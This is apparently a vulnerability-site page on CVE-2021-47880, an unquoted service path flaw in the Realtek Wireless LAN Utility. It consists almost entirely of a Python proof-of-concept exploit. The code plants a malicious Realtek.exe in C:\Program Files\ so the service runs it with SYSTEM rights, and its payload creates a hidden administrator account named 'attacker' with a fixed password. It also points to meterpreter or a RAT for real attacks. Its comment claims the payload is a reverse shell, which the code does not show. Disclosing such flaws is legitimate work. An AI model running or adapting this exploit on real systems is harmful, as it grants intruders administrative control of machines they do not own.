CVE-2021-47880 Realtek无线LAN Utility未引用服务路径提权漏洞

# CVE-2021-47880 PoC - Malicious executable placement # Save this as Realtek.exe and place in C:\Program Files\ # When Realtek Wireless LAN Utility service restarts, it will execute this file with SYSTEM privileges import os import sys import shutil def create_malicious_executable(): """ Create a malicious executable that will be placed in the unquoted path This creates a reverse shell payload for privilege escalation """ # Target path for the malicious executable target_path = r'C:\Program Files\Realtek.exe' # Payload: Create a new user with admin privileges and add to Administrators group # This is a simple demonstration - in real attack, use meterpreter or other RAT payload_code = ''' import os import subprocess # Add new administrator user try: # Create new user subprocess.run(['net', 'user', 'attacker', 'P@ssw0rd123', '/add'], capture_output=True) # Add to administrators group subprocess.run(['net', 'localgroup', 'Administrators', 'attacker', '/add'], capture_output=True) # Log the successful exploitation with open('C:\\Windows\\Temp\\privesc_log.txt', 'a') as f: f.write('[+] Privilege escalation successful via CVE-2021-47880\\n') except Exception as e: pass ''' # For actual exploitation, compile to executable or use existing tools # This PoC demonstrates the concept print(f'[*] PoC for CVE-2021-47880') print(f'[*] This demonstrates placing malicious executable at unquoted service path') print(f'[*] Target: {target_path}') print(f'[*] In real attack, place compiled executable at this location') print(f'[*] Service: Realtek Wireless LAN Utility (rtkwlan.exe)') # Check if we can write to the target path (for demonstration) if os.path.exists(os.path.dirname(target_path)): print(f'[+] Directory exists, potential for exploitation') return target_path def check_vulnerability(): """ Check if the system is vulnerable to CVE-2021-47880 """ service_path = r'C:\Program Files\Realtek\Wireless LAN Utility\rtkwlan.exe' # Check if service executable exists if os.path.exists(service_path): print(f'[+] Service executable found at: {service_path}') print(f'[+] System may be vulnerable to unquoted service path') return True else: print(f'[-] Service executable not found') return False if __name__ == '__main__': check_vulnerability()